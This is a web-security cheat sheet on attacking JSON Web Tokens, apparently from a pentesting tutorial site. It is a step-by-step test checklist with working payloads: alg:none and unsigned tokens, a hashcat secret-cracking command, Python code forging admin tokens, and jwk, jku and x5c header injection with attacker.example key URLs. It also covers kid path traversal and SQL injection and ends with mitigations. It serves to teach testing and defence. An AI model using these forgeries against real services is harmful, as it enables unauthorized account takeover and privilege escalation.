Salta ai contenuti
Seleziona tema

JWT attacks

Questi contenuti non sono ancora disponibili nella tua lingua.

A JSON Web Token carries identity claims between client and server. The security model is simple: the server signs the token, and on every subsequent request it verifies that signature before trusting the claims. Every JWT attack targets a gap in that verification.

HEADER.PAYLOAD.SIGNATURE
Part Content Encoding
Header {"alg":"HS256","typ":"JWT"} Base64URL
Payload {"sub":"carlos","isAdmin":false} Base64URL
Signature HMAC or RSA signature of header.payload Base64URL

The payload is not encrypted - anyone can decode it. The signature is the only thing that prevents tampering.

In Burp HTTP History, search for:

  • Authorization: Bearer eyJ...
  • Cookies named token, jwt, session containing a dot-separated base64 string
  • Three base64url segments separated by dots

If you find one, decode it (Burp Decoder → Base64URL, or jwt.io) and note:

  1. Algorithm - HS256 (symmetric) or RS256 (asymmetric)?
  2. Payload claims - sub, username, role, isAdmin, email?
  3. Header parameters - kid, jwk, jku?

Run these in order. Each one takes 2-5 minutes. Use a fresh token for every test.

Modify the payload (e.g., "isAdmin": true), keep the original signature unchanged, and send.

If the server accepts it - the signature is not verified at all.

Modified token (signature untouched)
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImlzQWRtaW4iOnRydWV9.ORIGINAL_SIGNATURE

Set the algorithm to none and remove the signature (keep the trailing dot):

Header
{"alg": "none"}
Token
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsImlzQWRtaW4iOnRydWV9.

If rejected, try case variations: None, NONE, nOnE.

If the algorithm is HS256, the signing key is a shared secret. Weak secrets can be cracked:

hashcat
hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiJ9.eyJzdWIi..." /usr/share/wordlists/rockyou.txt

If hashcat finds the secret in under 30 seconds - the key is weak. Generate any token you want:

Forge a token
import jwt
secret = "password123"
token = jwt.encode(
{"sub": "admin", "isAdmin": True, "exp": 9999999999},
secret,
algorithm="HS256"
)
print(token)

If the algorithm is RS256, the server uses a public key to verify. Some servers accept a jwk parameter in the token header, letting you supply your own key:

  1. In Burp JWT Editor, generate a new RSA key pair
  2. Add the public key to the token header:
    Injected header
    {
    "alg": "RS256",
    "jwk": {
    "kty": "RSA",
    "e": "AQAB",
    "n": "YOUR_PUBLIC_KEY_MODULUS"
    }
    }
  3. Modify the payload (isAdmin: true)
  4. Sign with your private key
  5. Send

If the server verifies against the embedded JWK instead of its own trusted key - full bypass.

Test 5 - Algorithm confusion (RS256 → HS256)

Section titled “Test 5 - Algorithm confusion (RS256 → HS256)”

The server expects RS256 (asymmetric) but you send HS256 (symmetric), using the server’s public key as the HMAC secret:

  1. Obtain the server’s public key:
    Terminal window
    curl https://target.com/.well-known/jwks.json
  2. Create an HS256 token signed with that public key as the secret
  3. Send

If the server’s verification code does verify(token, publicKey) without checking the algorithm, it computes HMAC(publicKey, header.payload) - which matches your signature.

The jku (JWK Set URL) header parameter tells the server where to fetch the public key. If the server follows this URL without validation:

  1. Generate a new RSA key pair with Burp JWT Editor
  2. Host the public key as a JWK Set on your server:
    https://attacker.example/.well-known/jwks.json
    {
    "keys": [{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "my-key",
    "n": "YOUR_PUBLIC_KEY_MODULUS"
    }]
    }
  3. Set the token header:
    {
    "alg": "RS256",
    "jku": "https://attacker.example/.well-known/jwks.json",
    "kid": "my-key"
    }
  4. Modify the payload, sign with your private key, send

If the server fetches the key from the attacker’s URL, it verifies against your key.

Bypass for jku allowlisting: if the server checks that jku starts with a trusted domain, try URL tricks:

Bypass Example
Path traversal https://trusted.example/path#@attacker.example/jwks.json
Open redirect https://trusted.example/redirect?url=https://attacker.example/jwks.json
Subdomain https://trusted.example.attacker.example/jwks.json

If the header contains a kid (Key ID) parameter and the algorithm is HS256:

Injected header
{
"alg": "HS256",
"kid": "../../../dev/null"
}

Sign the token with an empty string as the secret. If the server reads /dev/null (empty file) and uses it as the HMAC key, the empty-string signature matches.

Other kid values to try:

kid value Secret to sign with
../../dev/null empty string ""
../../etc/hostname contents of /etc/hostname
SQL injection in kid ' UNION SELECT 'secret' -- then sign with secret

The x5c parameter embeds an X.509 certificate chain in the header. If the server trusts it:

  1. Generate a self-signed certificate
  2. Embed it in the x5c header parameter
  3. Sign the token with the corresponding private key

If the server extracts the public key from the embedded certificate instead of its own trusted store, the signature validates.

1. Find JWT (Authorization header or cookie)
2. Decode - note algorithm and claims
3. Test 1: modify payload, keep signature - signature not verified?
4. Test 2: alg:none, remove signature - none accepted?
5. Test 3: hashcat (HS256 only, 30s max) - weak secret?
6. Test 4: JWK injection (RS256 only) - embedded key trusted?
7. Test 5: RS256-HS256 confusion - algorithm not enforced?
8. Test 6: jku injection (RS256) - external key URL followed?
9. Test 7: kid path traversal - file read as key?
10. Test 8: x5c injection - embedded cert trusted?

Even when the signature is properly verified, the server may not validate the claims correctly:

Claim Attack
exp (expiration) Set it far in the future (9999999999). Some servers do not check expiration
nbf (not before) Set it in the past to use a token before its intended start time
sub (subject) Change to another user’s ID: "sub": "admin"
role / isAdmin Escalate privileges: "role": "admin", "isAdmin": true
iss (issuer) Change to a different issuer the server also trusts
aud (audience) Change to a different service that shares the same signing key

Cross-service token reuse: if two microservices share the same signing key, a token issued for Service A may be accepted by Service B. Change the aud claim to target the other service.

jwt_tool automates all JWT tests:

Run all tests automatically
python3 jwt_tool.py <token> -M at
Tamper a specific claim
python3 jwt_tool.py <token> -T -S hs256 -p "secret" -pc "sub" -pv "admin"
Test alg:none
python3 jwt_tool.py <token> -X a
Test RS256-to-HS256 confusion
python3 jwt_tool.py <token> -X k -pk public_key.pem
Tool Use
JWT Editor (Burp extension) Decode, modify, sign tokens directly in Repeater
jwt.io Online decoder and encoder with algorithm selection
hashcat (-m 16500) Brute-force HS256 secrets
Python PyJWT Script token generation: jwt.encode(payload, key, algorithm)
jwt_tool Automated JWT testing: all attacks, claim tampering, key confusion
Measure Why
Enforce the algorithm server-side Never read alg from the token to decide how to verify
Use strong secrets (HS256) At least 256 bits of entropy - not a dictionary word
Rotate signing keys Limit the window if a key is compromised
Validate kid / jku / jwk Never allow user-controlled values to select the verification key
Short expiration (exp) Limit the useful lifetime of a stolen token
Audience and issuer checks Reject tokens meant for a different service

1011 parole, circa 5 min di lettura